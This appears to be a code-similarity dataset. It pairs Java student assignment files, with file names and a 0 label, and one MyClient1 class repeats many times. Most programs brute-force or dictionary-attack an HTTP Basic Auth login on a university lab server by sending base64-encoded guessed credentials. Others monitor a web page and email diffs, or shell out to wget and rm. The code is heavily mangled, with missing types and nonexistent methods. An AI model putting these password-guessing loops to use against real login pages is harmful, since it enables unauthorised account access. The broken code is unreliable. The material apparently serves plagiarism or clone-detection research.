(String)(tmpVector.get(j)); if(line.equals(newline)){ if(same == 0){ tmpVector.remove(j); same++; } } } } for(int i = 0; i<secondVector.size(); i++){ String line = (String)(secondVector.get(i)); int same =0; for(int j=0; j<firstVector.size(); j++){ String newline = (String)(firstVector.get(j)); if(line.equals(newline)){ if(same == 0){ firstVector.remove(j); same++; } } } } if(firstVector.size()!=0){ mssg += "The following lines removed in the latest modified web : \r\n"; for(int i=0; i<firstVector.size(); i++){ mssg +=(String)firstVector.get(i) + "\r\n"; } } if(tmpVector.size()!=0){ mssg += "The following lines new ones in the latest modified web : \r\n"; for(int i=0; i<tmpVector.size(); i++){ mssg += (String)tmpVector.get(i) + "\r\n"; } } return mssg; } public void setMonitorURL(String url){ spec = url; } public void setMonitorDuration(int t){ totalDuration = t*60*60*1000; } public void setMonitorInterval(int intervalMinutes){ intervalTime = intervalMinutes*60*1000; } public void setSMTPServer(String server){ yourSMTPserver = server; } public void setSMTPPort(int port){ smtpPort = port; } public void setMailFrom(String mfrom){ mailFrom = mfrom; } public void setMailTo(String mto){ mailTo = mto; } public String getMonitorURL(){ return spec; } public getDuration(){ return totalDuration; } public getInterval(){ return intervalTime; } public String getSMTPServer(){ return yourSMTPserver; } public int getPortnumber(){ return smtpPort; } public String getMailFrom(){ return mailFrom; } public String getMailTo(){ return mailTo; } public String getServerReply() { return reply; } public void doSendMail(String mfrom, String mto, String subject, String msg) throws SMTPException{ connect(); doHail(mfrom, mto); doSendMessage(mfrom, mto, subject, msg); doQuit(); } public void connect() throws SMTPException { try { socketsmtp = new Socket(yourSMTPserver, smtpPort); emailin = new BufferedReader(new InputStreamReader(socketsmtp.getInputStream())); emailout = new PrintStream(socketsmtp.getOutputStream()); reply = emailin.readLine(); if (reply.charAt(0) == '2' || reply.charAt(0) == '3') {} else { throw new SMTPException("Error connecting SMTP server " + yourSMTPserver + " port " + smtpPort); } }catch(Exception e) { throw new SMTPException(e.getMessage());} } public void doHail(String mfrom, String mto) throws SMTPException { if (doCommand("HELO " + yourSMTPserver)) throw new SMTPException("HELO command Error."); if (doCommand("MAIL FROM: " + mfrom)) throw new SMTPException("MAIL command Error."); if (doCommand("RCPT : " + mto)) throw new SMTPException("RCPT command Error."); } public void doSendMessage(String mfrom,String mto,String subject,String msg) throws SMTPException { Date date = new Date(); Locale locale = new Locale("",""); String pattern = "hh:mm: a',' dd-MMM-yyyy"; SimpleDateFormat formatter = new SimpleDateFormat(pattern, locale); formatter.setTimeZone(TimeZone.getTimeZone("Australia/Melbourne")); String sendDate = formatter.format(date); if (doCommand("DATA")) throw new SMTPException("DATA command Error."); String header = "From: " + mfrom + "\r\n"; header += ": " + mto + "\r\n"; header += "Subject: " + subject + "\r\n"; header += "Date: " + sendDate+ "\r\n\r\n"; if (doCommand(header + msg + "\r\n.")) throw new SMTPException("Mail Transmission Error."); } public boolean doCommand(String commd) throws SMTPException { try { emailout.print(commd + "\r\n"); reply = emailin.readLine(); if (reply.charAt(0) == '4' || reply.charAt(0) == '5') return true; else return false; }catch(Exception e) {throw new SMTPException(e.getMessage());} } public void doQuit() throws SMTPException { try { if (doCommand("Quit")) throw new SMTPException("QUIT Command Error"); emailin.put(); emailout.flush(); emailout.send(); socketsmtp.put(); }catch(Exception e) { } } }
import java.net.*; import java.io.*; import java.Ostermiller.util.*; import java.util.*; public class MyClient1 implements Runnable { private String hostname; private int port; private String filename; private Socket s; private int n; private InputStream sin; private OutputStream sout; private int dif; private String myPassword; private int status; private int myTime; private Dictionary myMaster; public MyClient1(Dictionary dic, int num, int myPort, String password) { hostname = new String("sec-crack.cs.rmit.edu."); port = myPort; status = 0; myTime = 0; myPassword = password; filename = new String("/SEC/2/"); myMaster = 0; n = num; dif = 0; } public getDif() { return dif; } public int getStatus() { return status; } public void run() { String inputLine; String[] tokens = new String[5]; int i; myTime = 0; finish = 0; start = System.currentTimeMillis(); try { s = new Socket( hostname, port); }catch( UnknownHostException e) { System.out.println("'t find host"); }catch( IOException e) { System.out.println("Error connecting host "+n); return; } while(s.isConnected() == false) continue; finish = System.currentTimeMillis(); dif = finish - start; try { sin = s.getInputStream(); }catch( IOException e) { System.out.println("'t open stream"); } BufferedReader fromServer = new BufferedReader(new InputStreamReader( )); try { sout = s.getOutputStream(); }catch( IOException e) { System.out.println("'t open stream"); } PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout)); toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n"); toServer.flush(); try { inputLine = fromServer.readLine(); }catch( IOException e) { System.out.println("'t open stream"); inputLine = null; } java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " "); i = 0; while(bf.hasMoreTokens()) { tokens[i] =bf .nextToken(); i++; } status = Integer.parseInt( tokens[1]); myTime = System.currentTimeMillis(); if( status == 200) { System.out.println("Ok "+myPassword); myMaster.retire( this); } toServer.send(); try { fromServer.recieve(); }catch( IOException e) { System.out.println("'t open stream"); } try { s.connect(); }catch( IOException e) { System.out.println("'t connection"); System.exit(0); } } public getTime() { return myTime; } }
084.java
201.java
0
import java.Thread; import java.io.*; import java.net.*; public class BruteForce extends Thread { final char[] CHARACTERS = {'A','a','E','e','I','i','O','o','U','u','R','r','N','n','S','s','T','t','L','l','B','b','C','c','D','d','F','f','G','g','H','h','J','j','K','k','M','m','P','p','V','v','W','w','X','x','Z','z','Q','q','Y','y'}; final static int SUCCESS=1, FAILED=0, UNKNOWN=-1; private static String host, path, user; private Socket target; private InputStream input; private OutputStream output; private byte[] data; private int threads, threadno, response; public static boolean solved = false; BruteForce parent; public BruteForce(String host, String path, String user, int threads, int threadno, BruteForce parent) { super(); this.parent = parent; this.host = host; this.path = path; this.user = user; this.threads = threads; this.threadno = threadno; } public void run() { response = FAILED; int x = 0; starttime = System.currentTimeMillis(); for(int i=0; i<CHARACTERS.length && !parent.solved; i++) { for(int j=0; j<CHARACTERS.length && !parent.solved; j++) { for(int k=0; k<CHARACTERS.length && !parent.solved; k++) { if((x % threads) == threadno) { response = tryLogin(CHARACTERS[i] + "" + CHARACTERS[j] + CHARACTERS[k]); if(response == SUCCESS) { System.out.println("SUCCESS! (after " + x + " tries) The password is: "+ CHARACTERS[i] + CHARACTERS[j] + CHARACTERS[k]); parent.solved = true; } if(response == UNKNOWN) System.out.println("Unexpected response (Password: "+ CHARACTERS[i] + CHARACTERS[j] + CHARACTERS[k]+")"); } x++; } } } if(response == SUCCESS) { System.out.println("Used time: " + ((System.currentTimeMillis() - starttime) / 1000.0) + "sec."); System.out.println("Thread . " + threadno + " was the one!"); } } public static void main (String[] args) { BruteForce parent; BruteForce[] attackslaves = new BruteForce[10]; if(args.length == 3) { host = args[0]; path = args[1]; user = args[2]; } else { System.out.println("Usage: BruteForce <host> <path> <user>"); System.out.println(" arguments specified, using standard values."); host = "sec-crack.cs.rmit.edu."; path = "/SEC/2/index.php"; user = ""; } System.out.println("Host: " + host + "\nPath: " + path + "\nUser: " + user); System.out.println("Using " + attackslaves.length + " happy threads..."); parent = new BruteForce(host, path, user, 0, 0, null); for(int i=0; i<attackslaves.length; i++) { attackslaves[i] = new BruteForce(host, path, user, attackslaves.length, i, parent); } for(int i=0; i<attackslaves.length; i++) { attackslaves[i].print(); } } private int tryLogin(String password) { int success = -1; try { data = new byte[12]; target = new Socket(host, 80); input = target.getInputStream(); output = target.getOutputStream(); String base = new pw.misc.BASE64Encoder().encode(new String(user + ":" + password).getBytes()); output.write(new String("GET " + path + " HTTP/1.0\r\n").getBytes()); output.write(new String("Authorization: " + base + "\r\n\r\n").getBytes()); input.print(data); if(new String(data).endsWith("401")) success=0; if(new String(data).endsWith("200")) success=1; } catch(Exception e) { System.out.println(e.getClass().getName() + ": " + e.getMessage()); } return success; } }
import java.net.*; import java.io.*; import java.Ostermiller.util.*; import java.util.*; public class MyClient1 implements Runnable { private String hostname; private int port; private String filename; private Socket s; private int n; private InputStream sin; private OutputStream sout; private int dif; private String myPassword; private int status; private int myTime; private Dictionary myMaster; public MyClient1(Dictionary dic, int num, int myPort, String password) { hostname = new String("sec-crack.cs.rmit.edu."); port = myPort; status = 0; myTime = 0; myPassword = password; filename = new String("/SEC/2/"); myMaster = 0; n = num; dif = 0; } public getDif() { return dif; } public int getStatus() { return status; } public void run() { String inputLine; String[] tokens = new String[5]; int i; myTime = 0; finish = 0; start = System.currentTimeMillis(); try { s = new Socket( hostname, port); }catch( UnknownHostException e) { System.out.println("'t find host"); }catch( IOException e) { System.out.println("Error connecting host "+n); return; } while(s.isConnected() == false) continue; finish = System.currentTimeMillis(); dif = finish - start; try { sin = s.getInputStream(); }catch( IOException e) { System.out.println("'t open stream"); } BufferedReader fromServer = new BufferedReader(new InputStreamReader( )); try { sout = s.getOutputStream(); }catch( IOException e) { System.out.println("'t open stream"); } PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout)); toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n"); toServer.flush(); try { inputLine = fromServer.readLine(); }catch( IOException e) { System.out.println("'t open stream"); inputLine = null; } java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " "); i = 0; while(bf.hasMoreTokens()) { tokens[i] =bf .nextToken(); i++; } status = Integer.parseInt( tokens[1]); myTime = System.currentTimeMillis(); if( status == 200) { System.out.println("Ok "+myPassword); myMaster.retire( this); } toServer.send(); try { fromServer.recieve(); }catch( IOException e) { System.out.println("'t open stream"); } try { s.connect(); }catch( IOException e) { System.out.println("'t connection"); System.exit(0); } } public getTime() { return myTime; } }
115.java
201.java
0
import java.net.*; import java.util.*; import java.io.*; public class PasswordTest { private String strURL; private String strUsername; private String strPassword; public PasswordTest(String url, String username, String password) { strURL = url; strUsername = username; strPassword = password; } boolean func() { boolean result = false; Authenticator.setDefault (new MyAuthenticator ()); try { URL url = new URL(strURL); HttpURLConnection urlConn = (HttpURLConnection)url.openConnection(); urlConn.connect(); if(urlConn.getResponseMessage().equalsIgnoreCase("OK")) { result = true; } } catch (IOException e) {} return result; } class MyAuthenticator extends Authenticator { protected PasswordAuthentication getPasswordAuthentication() { String username = strUsername; String password = strPassword; return new PasswordAuthentication(username, password.toCharArray()); } } }
import java.net.*; import java.io.*; import java.Ostermiller.util.*; import java.util.*; public class MyClient1 implements Runnable { private String hostname; private int port; private String filename; private Socket s; private int n; private InputStream sin; private OutputStream sout; private int dif; private String myPassword; private int status; private int myTime; private Dictionary myMaster; public MyClient1(Dictionary dic, int num, int myPort, String password) { hostname = new String("sec-crack.cs.rmit.edu."); port = myPort; status = 0; myTime = 0; myPassword = password; filename = new String("/SEC/2/"); myMaster = 0; n = num; dif = 0; } public getDif() { return dif; } public int getStatus() { return status; } public void run() { String inputLine; String[] tokens = new String[5]; int i; myTime = 0; finish = 0; start = System.currentTimeMillis(); try { s = new Socket( hostname, port); }catch( UnknownHostException e) { System.out.println("'t find host"); }catch( IOException e) { System.out.println("Error connecting host "+n); return; } while(s.isConnected() == false) continue; finish = System.currentTimeMillis(); dif = finish - start; try { sin = s.getInputStream(); }catch( IOException e) { System.out.println("'t open stream"); } BufferedReader fromServer = new BufferedReader(new InputStreamReader( )); try { sout = s.getOutputStream(); }catch( IOException e) { System.out.println("'t open stream"); } PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout)); toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n"); toServer.flush(); try { inputLine = fromServer.readLine(); }catch( IOException e) { System.out.println("'t open stream"); inputLine = null; } java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " "); i = 0; while(bf.hasMoreTokens()) { tokens[i] =bf .nextToken(); i++; } status = Integer.parseInt( tokens[1]); myTime = System.currentTimeMillis(); if( status == 200) { System.out.println("Ok "+myPassword); myMaster.retire( this); } toServer.send(); try { fromServer.recieve(); }catch( IOException e) { System.out.println("'t open stream"); } try { s.connect(); }catch( IOException e) { System.out.println("'t connection"); System.exit(0); } } public getTime() { return myTime; } }
233.java
201.java
0
import java.util.*; import java.io.*; import java.*; public class Dogs5 { public static void main(String [] args) throws Exception { executes("rm index.*"); executes("wget http://www.cs.rmit.edu./students"); while (true) { String addr= "wget http://www.cs.rmit.edu./students"; executes(addr); String hash1 = md5sum("index.html"); String hash2 = md5sum("index.html.1"); System.out.println(hash1 +"|"+ hash2); BufferedReader buf = new BufferedReader(new FileReader("/home/k//Assign2/ulist1.txt")); String line=" " ; String line1=" " ; String line2=" "; String line3=" "; String[] cad = new String[10]; executes("./.sh"); int i=0; while ((line = buf.readLine()) != null) { line1="http://www.cs.rmit.edu./students/images"+line; if (i==1) line2="http://www.cs.rmit.edu./students/images"+line; if (i==2) line3="http://www.cs.rmit.edu./students/images"+line; i++; } System.out.println(line1+" "+line2+" "+line3); executes("wget "+line1); executes("wget "+line2); executes("wget "+line3); String hash3 = md5sum("index.html.2"); String hash4 = md5sum("index.html.3"); String hash5 = md5sum("index.html.4"); BufferedReader buf2 = new BufferedReader(new FileReader("/home/k//Assign2/ulist1.txt")); String linee=" " ; String linee1=" " ; String linee2=" "; String linee3=" "; executes("./ip1.sh"); int j=0; while ((linee = buf2.readLine()) != null) { linee1="http://www.cs.rmit.edu./students/images"+linee; if (j==1) linee2="http://www.cs.rmit.edu./students/images"+linee; if (j==2) linee3="http://www.cs.rmit.edu./students/images"+linee; j++; } System.out.println(line1+" "+line2+" "+line3); executes("wget "+linee1); executes("wget "+linee2); executes("wget "+linee3); String hash6 = md5sum("index.html.5"); String hash7 = md5sum("index.html.6"); String hash8 = md5sum("index.html.7"); boolean pict=false; if (hash3.equals(hash6)) pict=true; boolean pict2=false; if (hash3.equals(hash6)) pict2=true; boolean pict3=false; if (hash3.equals(hash6)) pict3=true; if (hash1.equals(hash2)) { executes("./difference.sh"); executes("./mail.sh"); } else { if (pict || pict2 || pict3) { executes(".~/Assign2/difference.sh"); executes(".~/Assign2/mail2.sh"); } executes(".~/Assign2/difference.sh"); executes(".~/Assign2/mail.sh"); executes("./reorder.sh"); executes("rm index.html"); executes("cp index.html.1 index.html"); executes("rm index.html.1"); executes("sleep 5"); } } } public static void executes(String comm) throws Exception { Process p = Runtime.getRuntime().exec(new String[]{"/usr/local//bash","-c", comm }); BufferedReader bf = new BufferedReader(new InputStreamReader(p.getErrorStream())); String cad; while(( cad = bf.readLine()) != null) { System.out.println(); } p.waitFor(); } public static String md5sum(String file) throws Exception { String cad; String hash= " "; Process p = Runtime.getRuntime().exec(new String[]{"/usr/local//bash", "-c", "md5sum "+file }); BufferedReader bf = new BufferedReader(new InputStreamReader(p.getInputStream())); while((bf = cad.readLine()) != null) { StringTokenizer word=new StringTokenizer(); hash=word.nextToken(); System.out.println(hash); } return hash; } }
import java.net.*; import java.io.*; import java.Ostermiller.util.*; import java.util.*; public class MyClient1 implements Runnable { private String hostname; private int port; private String filename; private Socket s; private int n; private InputStream sin; private OutputStream sout; private int dif; private String myPassword; private int status; private int myTime; private Dictionary myMaster; public MyClient1(Dictionary dic, int num, int myPort, String password) { hostname = new String("sec-crack.cs.rmit.edu."); port = myPort; status = 0; myTime = 0; myPassword = password; filename = new String("/SEC/2/"); myMaster = 0; n = num; dif = 0; } public getDif() { return dif; } public int getStatus() { return status; } public void run() { String inputLine; String[] tokens = new String[5]; int i; myTime = 0; finish = 0; start = System.currentTimeMillis(); try { s = new Socket( hostname, port); }catch( UnknownHostException e) { System.out.println("'t find host"); }catch( IOException e) { System.out.println("Error connecting host "+n); return; } while(s.isConnected() == false) continue; finish = System.currentTimeMillis(); dif = finish - start; try { sin = s.getInputStream(); }catch( IOException e) { System.out.println("'t open stream"); } BufferedReader fromServer = new BufferedReader(new InputStreamReader( )); try { sout = s.getOutputStream(); }catch( IOException e) { System.out.println("'t open stream"); } PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout)); toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n"); toServer.flush(); try { inputLine = fromServer.readLine(); }catch( IOException e) { System.out.println("'t open stream"); inputLine = null; } java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " "); i = 0; while(bf.hasMoreTokens()) { tokens[i] =bf .nextToken(); i++; } status = Integer.parseInt( tokens[1]); myTime = System.currentTimeMillis(); if( status == 200) { System.out.println("Ok "+myPassword); myMaster.retire( this); } toServer.send(); try { fromServer.recieve(); }catch( IOException e) { System.out.println("'t open stream"); } try { s.connect(); }catch( IOException e) { System.out.println("'t connection"); System.exit(0); } } public getTime() { return myTime; } }
086.java
201.java
0
import java.net.*; import java.io.*; import java.*; public class BruteForce { URLConnection conn = null; private static boolean status = false; public static void main (String args[]){ BruteForce a = new BruteForce(); String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php", "", ""}; int attempts = 0; exit: for (int i=0;i<pwdArray.length;i++) { for (int j=0;j<pwdArray.length;j++) { for (int k=0;k<pwdArray.length;k++) { if (pwdArray[i] == ' ' && pwdArray[j] != ' ') continue; if (pwdArray[j] == ' ' && pwdArray[k] != ' ') continue; inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k]; attempts++; a.doit(inp); if (status) { System.out.println("Crrect password is: " + inp[2]); System.out.println("Number of attempts = " + attempts); break exit; } inp[2] = ""; } } } } public void doit(String args[]) { try { BufferedReader in = new BufferedReader( new InputStreamReader (connectURL(new URL(args[0]), args[1], args[2]))); String line; while ((line = in.readLine()) != null) { System.out.println(line); status = true; } } catch (IOException e) { } } public InputStream connectURL (URL url, String uname, String pword) throws IOException { conn = url.openConnection(); conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword)); conn.connect (); return conn.getInputStream(); } public String userNamePasswordBase64(String username, String password) { return " " + base64Encode (username + ":" + password); } private final static char pwdArray [] = { 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', ' ' }; private final static char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; private static String base64Encode (String string) { String encodedString = ""; byte bytes [] = string.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += "="; break; case 2: encodedString += "=="; break; } } return encodedString; } }
import java.net.*; import java.io.*; import java.Ostermiller.util.*; import java.util.*; public class MyClient1 implements Runnable { private String hostname; private int port; private String filename; private Socket s; private int n; private InputStream sin; private OutputStream sout; private int dif; private String myPassword; private int status; private int myTime; private Dictionary myMaster; public MyClient1(Dictionary dic, int num, int myPort, String password) { hostname = new String("sec-crack.cs.rmit.edu."); port = myPort; status = 0; myTime = 0; myPassword = password; filename = new String("/SEC/2/"); myMaster = 0; n = num; dif = 0; } public getDif() { return dif; } public int getStatus() { return status; } public void run() { String inputLine; String[] tokens = new String[5]; int i; myTime = 0; finish = 0; start = System.currentTimeMillis(); try { s = new Socket( hostname, port); }catch( UnknownHostException e) { System.out.println("'t find host"); }catch( IOException e) { System.out.println("Error connecting host "+n); return; } while(s.isConnected() == false) continue; finish = System.currentTimeMillis(); dif = finish - start; try { sin = s.getInputStream(); }catch( IOException e) { System.out.println("'t open stream"); } BufferedReader fromServer = new BufferedReader(new InputStreamReader( )); try { sout = s.getOutputStream(); }catch( IOException e) { System.out.println("'t open stream"); } PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout)); toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n"); toServer.flush(); try { inputLine = fromServer.readLine(); }catch( IOException e) { System.out.println("'t open stream"); inputLine = null; } java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " "); i = 0; while(bf.hasMoreTokens()) { tokens[i] =bf .nextToken(); i++; } status = Integer.parseInt( tokens[1]); myTime = System.currentTimeMillis(); if( status == 200) { System.out.println("Ok "+myPassword); myMaster.retire( this); } toServer.send(); try { fromServer.recieve(); }catch( IOException e) { System.out.println("'t open stream"); } try { s.connect(); }catch( IOException e) { System.out.println("'t connection"); System.exit(0); } } public getTime() { return myTime; } }
153.java
201.java
0
import java.io.*; import java.net.*; public class BruteForce { public static void main(String[] args) { BruteForce brute=new BruteForce(); brute.start(); } public void start() { char passwd[]= new char[3]; String password; String username=""; String auth_data; String server_res_code; String required_server_res_code="200"; int cntr=0; try { URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/"); URLConnection conn=null; for (int i=65;i<=122;i++) { if(i==91) { i=i+6; } passwd[0]= (char) i; for (int j=65;j<=122;j++) { if(j==91) { j=j+6; } passwd[1]=(char) j; for (int k=65;k<=122;k++) { if(k==91) { k=k+6; } passwd[2]=(char) k; password=new String(passwd); password=password.trim(); auth_data=null; auth_data=username + ":" + password; auth_data=auth_data.trim(); auth_data=getBasicAuthData(auth_data); auth_data=auth_data.trim(); conn=url.openConnection(); conn.setDoInput (true); conn.setDoOutput(true); conn.setRequestProperty("GET", "/SEC/2/ HTTP/1.1"); conn.setRequestProperty ("Authorization", auth_data); server_res_code=conn.getHeaderField(0); server_res_code=server_res_code.substring(9,12); server_res_code.trim(); cntr++; System.out.println(cntr + " . " + "PASSWORD SEND : " + password + " SERVER RESPONSE : " + server_res_code); if( server_res_code.compareTo(required_server_res_code)==0 ) {System.out.println("PASSWORD IS : " + password + " SERVER RESPONSE : " + server_res_code ); i=j=k=123;} } } } } catch (Exception e) { System.err.print(e); } } public String getBasicAuthData (String getauthdata) { char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' } ; String encodedString = ""; byte bytes [] = getauthdata.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += "="; break; case 2: encodedString += "=="; break; } } return " " + encodedString; } }
import java.net.*; import java.io.*; import java.Ostermiller.util.*; import java.util.*; public class MyClient1 implements Runnable { private String hostname; private int port; private String filename; private Socket s; private int n; private InputStream sin; private OutputStream sout; private int dif; private String myPassword; private int status; private int myTime; private Dictionary myMaster; public MyClient1(Dictionary dic, int num, int myPort, String password) { hostname = new String("sec-crack.cs.rmit.edu."); port = myPort; status = 0; myTime = 0; myPassword = password; filename = new String("/SEC/2/"); myMaster = 0; n = num; dif = 0; } public getDif() { return dif; } public int getStatus() { return status; } public void run() { String inputLine; String[] tokens = new String[5]; int i; myTime = 0; finish = 0; start = System.currentTimeMillis(); try { s = new Socket( hostname, port); }catch( UnknownHostException e) { System.out.println("'t find host"); }catch( IOException e) { System.out.println("Error connecting host "+n); return; } while(s.isConnected() == false) continue; finish = System.currentTimeMillis(); dif = finish - start; try { sin = s.getInputStream(); }catch( IOException e) { System.out.println("'t open stream"); } BufferedReader fromServer = new BufferedReader(new InputStreamReader( )); try { sout = s.getOutputStream(); }catch( IOException e) { System.out.println("'t open stream"); } PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout)); toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n"); toServer.flush(); try { inputLine = fromServer.readLine(); }catch( IOException e) { System.out.println("'t open stream"); inputLine = null; } java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " "); i = 0; while(bf.hasMoreTokens()) { tokens[i] =bf .nextToken(); i++; } status = Integer.parseInt( tokens[1]); myTime = System.currentTimeMillis(); if( status == 200) { System.out.println("Ok "+myPassword); myMaster.retire( this); } toServer.send(); try { fromServer.recieve(); }catch( IOException e) { System.out.println("'t open stream"); } try { s.connect(); }catch( IOException e) { System.out.println("'t connection"); System.exit(0); } } public getTime() { return myTime; } }
150.java
201.java
0
import java.net.*; import java.io.*; import java.util.Date; public class Dictionary{ private static String password=" "; public static void main(String[] args) { String Result=""; if (args.length<1) { System.out.println("Correct Format Filename username e.g<>"); System.exit(1); } Dictionary dicton1 = new Dictionary(); Result=dicton1.Dict("http://sec-crack.cs.rmit.edu./SEC/2/",args[0]); System.out.println("Cracked Password for The User "+args[0]+" The Password is.."+Result); } private String Dict(String urlString,String username) { int cnt=0; FileInputStream stream=null; DataInputStream word=null; try{ stream = new FileInputStream ("/usr/share/lib/dict/words"); word =new DataInputStream(stream); t0 = System.currentTimeMillis(); while (word.available() !=0) { password=word.readLine(); if (password.length()!=3) { continue; } System.out.print("crackin...:"); System.out.print("\b\b\b\b\b\b\b\b\b\b\b" ); URL url = new URL (urlString); String userPassword=username+":"+password; String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes()); URLConnection conc = url.openConnection(); conc.setRequestProperty ("Authorization", " " + encoding); conc.connect(); cnt++; if (conc.getHeaderField(0).trim().equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("The Number Of Attempts : "+cnt); t1 = System.currentTimeMillis(); net=t1-t0; System.out.println("Total Time in secs..."+net/1000); return password; } } } catch (Exception e ) { e.printStackTrace(); } try { word.close(); stream.close(); } catch (IOException e) { System.out.println("Error in closing input file:\n" + e.toString()); } return "Password could not found"; } }
import java.net.*; import java.io.*; import java.Ostermiller.util.*; import java.util.*; public class MyClient1 implements Runnable { private String hostname; private int port; private String filename; private Socket s; private int n; private InputStream sin; private OutputStream sout; private int dif; private String myPassword; private int status; private int myTime; private Dictionary myMaster; public MyClient1(Dictionary dic, int num, int myPort, String password) { hostname = new String("sec-crack.cs.rmit.edu."); port = myPort; status = 0; myTime = 0; myPassword = password; filename = new String("/SEC/2/"); myMaster = 0; n = num; dif = 0; } public getDif() { return dif; } public int getStatus() { return status; } public void run() { String inputLine; String[] tokens = new String[5]; int i; myTime = 0; finish = 0; start = System.currentTimeMillis(); try { s = new Socket( hostname, port); }catch( UnknownHostException e) { System.out.println("'t find host"); }catch( IOException e) { System.out.println("Error connecting host "+n); return; } while(s.isConnected() == false) continue; finish = System.currentTimeMillis(); dif = finish - start; try { sin = s.getInputStream(); }catch( IOException e) { System.out.println("'t open stream"); } BufferedReader fromServer = new BufferedReader(new InputStreamReader( )); try { sout = s.getOutputStream(); }catch( IOException e) { System.out.println("'t open stream"); } PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout)); toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n"); toServer.flush(); try { inputLine = fromServer.readLine(); }catch( IOException e) { System.out.println("'t open stream"); inputLine = null; } java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " "); i = 0; while(bf.hasMoreTokens()) { tokens[i] =bf .nextToken(); i++; } status = Integer.parseInt( tokens[1]); myTime = System.currentTimeMillis(); if( status == 200) { System.out.println("Ok "+myPassword); myMaster.retire( this); } toServer.send(); try { fromServer.recieve(); }catch( IOException e) { System.out.println("'t open stream"); } try { s.connect(); }catch( IOException e) { System.out.println("'t connection"); System.exit(0); } } public getTime() { return myTime; } }
194.java
201.java
0
